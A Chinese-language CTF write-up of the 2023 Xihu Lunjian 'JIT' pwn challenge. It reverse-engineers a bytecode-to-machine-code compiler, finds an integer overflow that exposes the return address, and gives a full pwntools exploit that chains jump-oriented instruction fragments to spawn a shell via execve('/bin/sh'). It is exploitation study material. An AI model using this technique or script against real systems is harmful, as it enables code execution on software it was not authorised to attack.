2023 西湖论剑 Pwn JIT

赛时没出, 复现.

JIT 题, 大概是把字节码转换成机器码然后执行. C++ 写的, 没抠符号表, 暂且能看.

分析一下整个流程.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-41h] BYREF
  __int64 sz; // [rsp+8h] [rbp-40h]
  char v6[40]; // [rsp+10h] [rbp-38h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-10h]

  v7 = __readfsqword(0x28u);
  sz = read(0, buf, 0x1000uLL);
  std::allocator<char>::allocator(&v4);
  std::string::basic_string(v6, buf, sz, &v4);
  std::string::operator=(&IRstream::ir[abi:cxx11], v6);
  std::string::~string(v6);
  std::allocator<char>::~allocator(&v4);
  Compiler::main();
  return 0;
}

读入字符串到 buf, 然后拷贝到 IRStream::ir 中. 运行 Compiler::main()

Compiler::main():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __cdecl Compiler::main()
{
  char *base; // rbx
  __int64 v1; // rax
  std::unordered_map<unsigned char,Compiler::func>::key_type __x; // [rsp+5h] [rbp-63h] BYREF
  std::unordered_map<unsigned char,Compiler::func>::key_type __k; // [rsp+6h] [rbp-62h] BYREF
  std::unordered_map<unsigned char,Compiler::func>::key_type v5; // [rsp+7h] [rbp-61h] BYREF
  void *entry; // [rsp+8h] [rbp-60h]
  std::string boot; // [rsp+10h] [rbp-58h] BYREF
  std::string p_payload; // [rsp+30h] [rbp-38h] BYREF
  unsigned __int64 v9; // [rsp+58h] [rbp-10h]

  v9 = __readfsqword(0x28u);
  JITHelper::init();
  entry = JITHelper::nowptr();
  std::literals::string_literals::operator"" s[abi:cxx11](&boot, _str, 0xBuLL);
  std::string::basic_string(&p_payload, &boot);
  JITHelper::write(&p_payload);
  std::string::~string(&p_payload);
  while ( !IRstream::empty() )
    Compiler::handleFn();
  JITHelper::finailize();
  __x = 0;
  if ( !std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &__x)
    || (__k = 0, std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &__k)->args)
    || (v5 = 0,
        base = (char *)std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &v5)->base,
        v1 = std::string::size(&boot),
        base != (char *)entry + v1) )
  {
    fatal();
  }
  Compiler::clrstk();
  ((void (*)(void))entry)();
  std::string::~string(&boot);
}

先看前面一部分:

1
2
3
4
5
6
  JITHelper::init();
  entry = JITHelper::nowptr();
  std::literals::string_literals::operator"" s[abi:cxx11](&boot, _str, 0xBuLL);
  std::string::basic_string(&p_payload, &boot);
  JITHelper::write(&p_payload);
  std::string::~string(&p_payload);
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __cdecl JITHelper::init()
{
  JITHelper::execbuf = (char *)mmap(0LL, 0x2000uLL, 7, 34, -1, 0LL);
  JITHelper::exec_wr = JITHelper::execbuf;
  memset(JITHelper::execbuf, 0xCC, 0x2000uLL);
}

void *__cdecl JITHelper::nowptr()
{
  return JITHelper::exec_wr;
}

void __cdecl JITHelper::write(std::string *p_payload)
{
  size_t v1; // rbx
  const void *v2; // rax

  if ( JITHelper::total_wr > 0x1900 )
    fatal();
  v1 = std::string::size(p_payload);
  v2 = (const void *)std::string::data(p_payload);
  memcpy(JITHelper::exec_wr, v2, v1);
  JITHelper::exec_wr += std::string::size(p_payload);
  JITHelper::total_wr += std::string::size(p_payload);
}

JITHelper::write() 将指令写到 mmap 出来的空间上后, 还将 JITHelper::exec_wr 调整到了下一条指令的开始. JITHelper::nowptr() 就是取当前指令地址, 方便写入.

这几行是 mmap 一块 rwx 权限的匿名空间, 然后写上长度为 0xb 的字符串 _str (全局变量). 这个 _str 实际上是机器指令:

boot instruction
boot instruction

这里的 call 是相对 rip 寻址的, 所以 call 的是 hlt 的下一条. Compiler::main() 的最后有一句 ((void (*)(void))entry)();, 即从 entry 这里启动代码.

1
2
3
  while ( !IRstream::empty() )
    Compiler::handleFn();
  JITHelper::finailize();
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
bool __cdecl IRstream::empty()
{
  return std::string::size(&IRstream::ir[abi:cxx11]) == IRstream::pos;
}

void __cdecl JITHelper::finailize()
{
  mprotect(JITHelper::execbuf, 0x2000uLL, 5);
}

void __cdecl Compiler::handleFn()
{
  u8 id; // [rsp+5h] [rbp-13h] BYREF
  u8 args; // [rsp+6h] [rbp-12h]
  u8 locals; // [rsp+7h] [rbp-11h]
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( IRstream::getop() != 0xFF )
    fatal();
  id = IRstream::getop();
  if ( std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &id) )
    fatal();
  args = IRstream::getop();
  locals = IRstream::getop();
  Compiler::creatFunc(id, args, locals);
}

可以看出这里大致的逻辑是取每一条 IR, 创建一个函数, 并将 id 映射到 Compiler::func 上, 直到 IR 取完, JITHelper::finailize() 将代码段的写权限取消.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
  __x = 0;
  if ( !std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &__x)
    || (__k = 0, std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &__k)->args)
    || (v5 = 0,
        base = (char *)std::unordered_map<unsigned char,Compiler::func>::operator[](&Compiler::funcs, &v5)->base,
        v1 = std::string::size(&boot),
        base != (char *)entry + v1) )
  {
    fatal();
  }
  Compiler::clrstk();
  ((void (*)(void))entry)();
  std::string::~string(&boot);

最后这段代码反出来有点难看. if 里三个条件, 判断有 id 为 0 的函数, 并且它的 args 为 0, 它的 base 为 entry 加上 boot 代码后的地址. 大致可以看出, 这是在判断 JIT 的 main 函数. 从而得知, 我们输入的第一个函数是 main 函数, id = 0, args = 0.

1
2
3
4
5
6
7
8
void __cdecl Compiler::clrstk()
{
  char buf[8192]; // [rsp+0h] [rbp-2018h] BYREF
  unsigned __int64 v1; // [rsp+2008h] [rbp-10h]

  v1 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
}

Compiler::clrstk() clear stack, 开辟 0x2000 的栈空间并情况, 然后返回. 这样栈上即将被分配的空间就是全 0 的了. 执行的代码用的就是一段空间直接当成栈.

然后我们重点看一下 IR 字节码以及生成的机器指令.

1
2
3
4
5
6
7
8
  if ( IRstream::getop() != 0xFF )
    fatal();
  id = IRstream::getop();
  if ( std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &id) )
    fatal();
  args = IRstream::getop();
  locals = IRstream::getop();
  Compiler::creatFunc(id, args, locals);
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
u8 __cdecl IRstream::getop()
{
  size_t v0; // rbx
  unsigned __int8 r; // [rsp+Fh] [rbp-9h]

  v0 = IRstream::pos + 1;
  if ( v0 > std::string::size(&IRstream::ir[abi:cxx11]) )
    fatal();
  r = *(_BYTE *)(std::string::data(&IRstream::ir[abi:cxx11]) + IRstream::pos);
  ++IRstream::pos;
  return r;
}

IRstream::getop() 返回当前的一个字节码. 注册一个函数, 字节码为: 0xFF id args locals 共四个字节.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __cdecl Compiler::creatFunc(u8 id, u8 args, u8 locals)
{
  char ida[16]; // [rsp+Ch] [rbp-7Ch] BYREF
  int retidx; // [rsp+1Ch] [rbp-6Ch]
  Compiler::func __y; // [rsp+20h] [rbp-68h] BYREF
  std::pair<unsigned char const,Compiler::func> __x; // [rsp+30h] [rbp-58h] BYREF
  std::string p_payload; // [rsp+50h] [rbp-38h] BYREF
  unsigned __int64 v9; // [rsp+78h] [rbp-10h]

  ida[0] = id;
  v9 = __readfsqword(0x28u);
  if ( args > 8u || locals > 0x20u )
    fatal();
  __y.id = ida[0];
  __y.args = args;
  __y.locals = locals;
  __y.base = JITHelper::nowptr();
  std::pair<unsigned char const,Compiler::func>::pair<unsigned char &,Compiler::func,true>(
    &__x,
    (unsigned __int8 *)ida,
    &__y);
  std::unordered_map<unsigned char,Compiler::func>::insert(&Compiler::funcs, &__x);
  std::allocator<char>::allocator(&__x);
  std::string::basic_string(&p_payload, &unk_59E0, &__x);
  JITHelper::write(&p_payload);
  std::string::~string(&p_payload);
  std::allocator<char>::~allocator(&__x);
  JITHelper::bwrite<int>(8 * locals);
  Compiler::ctx_args = args;
  Compiler::ctx_locals = locals;
  retidx = Compiler::handleFnBody();
  AsmHelper::func_ret(locals, retidx);
}

还是拆开来看.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
  ida[0] = id;
  v9 = __readfsqword(0x28u);
  if ( args > 8u || locals > 0x20u )
    fatal();
  __y.id = ida[0];
  __y.args = args;
  __y.locals = locals;
  __y.base = JITHelper::nowptr();
  std::pair<unsigned char const,Compiler::func>::pair<unsigned char &,Compiler::func,true>(
    &__x,
    (unsigned __int8 *)ida,
    &__y);
  std::unordered_map<unsigned char,Compiler::func>::insert(&Compiler::funcs, &__x);

参数个数不大于 8, 局部变量个数不大于 0x20. 然后将 id, args, locals 赋值给对应成员, 成员 base 赋值为当前机器码将要写入的开始地址.

然后将当前的 pair<id, Compiler::func> 插入 map Compiler::funcs 中.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  std::allocator<char>::allocator(&__x);
  std::string::basic_string(&p_payload, &unk_59E0, &__x);
  JITHelper::write(&p_payload);
  std::string::~string(&p_payload);
  std::allocator<char>::~allocator(&__x);
  JITHelper::bwrite<int>(8 * locals);
  Compiler::ctx_args = args;
  Compiler::ctx_locals = locals;
  retidx = Compiler::handleFnBody();
  AsmHelper::func_ret(locals, retidx);

unk_59E0 这里也是指令, 直接用 ida 或者 rizin 都不太能正确逆出来, basic_string 也没有指定长度. 不过我们知道, 字符串以 0x00 结尾. 查看内存, 发现它只有三个字节 0x48 0x81 0xec 后面就跟 0x00 了. 再后面是之前看过的 boot 指令, 它大概率不是需要拷过来的东西.

unk_59E0 instructiion
unk_59E0 instructiion

然而这三个字节反不出来. 原因在下面它还有个 JITHelper::bwrite<int>(8 * locals);:

1
2
3
4
5
6
7
8
void __cdecl JITHelper::bwrite<int>(int val)
{
  if ( JITHelper::total_wr > 6400 )
    fatal();
  *(_DWORD *)JITHelper::exec_wr = val;
  JITHelper::exec_wr += 4;
  JITHelper::total_wr += 4;
}

将后 4 个字节写上了 (int) (locals * 8), 我们手动试试, 0x48 0x81 0xec 0x08 0x00 0x00 0x00, 反出来是 sub rsp, 8. 所以这一步是在开辟局部变量的栈空间, 只不过分了两次去生成机器指令.

接下来 Compiler::handleFnBody() 就是函数体了, 它的返回值猜测就是这个生成的函数的返回值, 因为下面有个 AsmHelper::func_ret(locals, retidx)

我们先看 Compiler::handleFnBody() 部分. 第一个 case 最简单, 就从第一个下手.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int __cdecl Compiler::handleFnBody()
{
  while ( 1 )
  {
    opcode = IRstream::getop();
    switch ( opcode )
    {
      case 0u:
        v0 = IRstream::getop();
        return Compiler::var2idx(v0);
      ...
    }
    ...
  }
  ...
}

这个指令就是 ret 了. 看一下 Compiler::var2idx():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char __cdecl Compiler::var2idx(u8 varib)
{
  u8 variba; // [rsp+Ch] [rbp-1Ch]

  if ( (varib & 0x7F) == 0 )
    fatal();
  if ( (varib & 0x80u) == 0 )
  {
    if ( varib > Compiler::ctx_args )
      fatal();
    if ( (char)(8 * varib) <= 0 )
      fatal();
    return 8 * varib;
  }
  else
  {
    variba = varib ^ 0x80;
    if ( (unsigned __int8)(varib ^ 0x80) > Compiler::ctx_locals )
      fatal();
    if ( (char)(-8 * variba) > 0 )
      fatal();
    return -8 * variba;
  }
}

varib 的最高位当作符号位, 当其为 0 时, 取相应位置的参数; 为 1 时取相应位置的局部变量. 根据一点点函数调用的知识合理推测, 应该是参数放在 rbp 的上方, 局部变量放在 rbp 的下方. 然后返回值是相对 rbp 的偏移量. 这里还判断了不能为 0, 那合理猜测 rbp 这个位置正好是返回地址.

从这里可以推测, 它的 var 指的是参数或者局部变量的序号, idx 指的是相对 rbp 的偏移.

可以写一个简单的字节码调试一下看看, 比如 0xff 0x00 0x00 0x20 0x00 0x81:

test for ret
test for ret

仔细一点会发现一个问题, 前面一个 if ( (char)(8 * varib) <= 0 ) 是判断了不能为 0 的, 而后面一个 if ( (char)(-8 * variba) > 0 ) 并没有判断. 而 Compiler::ctx_locals 最大是 0x20, 这里恰好存在整数溢出, 使得最后返回值为 0. 对应的是 rbp, 也就是返回地址!

写个简单的字节码确认一下 0xff 0x00 0x00 0x20 0x00 (0x80 | 0x20):

test for int overflow at locals
test for int overflow at locals

果然!

简单对照一个下 AsmHelper::func_ret(locals, retidx), 生成 add 指令之后一直到 ret 的指令, 功能是写函数退出并返回的部分.

接下来通过动态调试 + 看函数名猜功能的方法, 得到剩下字节码分别对应的功能:

  1. 0x01 var imm64: var = imm64
  2. 0x02 var1 var2: var1 = var2
  3. 0x03 var1 var2: var1 &= var2
  4. 0x04 var1 var2: var1 |= var2
  5. 0x05 var1 var2: var1 ^= var2
  6. 0x06 fnid retvar args arg0 arg1 ...: retvar = fn(arg0, arg1, ...)

并且其中涉及到的函数基本都是功能单一的填充指令, 可以暂且猜测没有漏洞. call 指令也做了相应的检查, 没发现漏洞.

考虑如何利用. 能够通过整数溢出, 让 var 取得返回地址, 获得控制程序流的能力. 第一个想法就是 ROP. 但是 ROP 有个问题, 既无法先输出 leak libc, 然后输入 (没有读入功能也没有写代码段权限), 又无法通过计算直接布置 ROP 链 (只有位运算没法做相对加减).

不过, 在赋值操作中, 有输入 8 个字节的能力, 这里可以布置一条短的指令, 如果能够让程序跳到这里, 就可以执行布置的指令了. 然后接 jmp 跳到下一个布置的指令上. 也就是 JOP. 同时, 由于这个代码段是从页面起始位置开始的, 而布置的指令不会离这个位置偏差一个页面, 所以可以通过位运算, 把返回地址写成第一个布置的指令, 这样就成功实现控制整个程序了.

这里直接布置 execve("/bin/sh", 0, 0) 的指令. "/bin/sh\0" 可以通过赋值操作写在栈上, 然后根据 rbp 相对偏移去得到. 每一个 8 字节 (以内) 的指令设计如下:

1
2
3
4
5
6
mov rdi, rbp; jmp x
sub rdi, 0x10; jmp x
xor esi, esi; jmp x
xor edx, edx; jmp x
xor eax, eax; jmp x
add al, 59; syscall

exp 也十分简单 (赛时没静下心来逆向, 看到 “困难” 就想下班, 实际上也没多困难):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context(os='linux', arch='amd64')# , log_level='debug')

procname = './jit'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recv(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])
p8s = lambda r    : flat([p8(x) for x in r])

def reg_func(id, args, locals, body):
    return p8s([0xff, id, args, locals]) + body

def ret(var):
    return p8s([0, var])

def define(var, imm):
    return flat([p8s([1, var]), p64(imm)])

def assign(var1, var2):
    return p8s([2, var1, var2])

def op_and(var1, var2):
    return p8s([3, var1, var2])

def op_or(var1, var2):
    return p8s([4, var1, var2])

def op_xor(var1, var2):
    return p8s([5, var1, var2])

jop = reg_func(1, 0, 1, flat([
    define(0x80 | 1, 0x0cebe78948),     # mov rdi, rbp; jmp x
    define(0x80 | 1, 0x0beb10ef8348),   # sub rdi, 0x10; jmp x
    define(0x80 | 1, 0x0debf631),       # xor esi, esi; jmp x
    define(0x80 | 1, 0x0debd231),       # xor edx, edx; jmp x
    define(0x80 | 1, 0x0debc031),       # xor eax, eax; jmp x
    define(0x80 | 1, 0x050f3b04),       # add al, 59; syscall
    ret(0x80 | 1),
]))

boot = reg_func(0, 0, 0x20, flat([
    define(0x80 | 1, 0xfffffffffffff000),
    op_and(0x80 | 0x20, 0x80 | 1),
    define(0x80 | 1, 0x07c),
    op_or(0x80 | 0x20, 0x80 | 1),
    define(0x80 | 1, 0x68732f6e69622f), # /bin/sh
    ret(0x80 | 0x20),
]))

sd(boot + jop)
ia()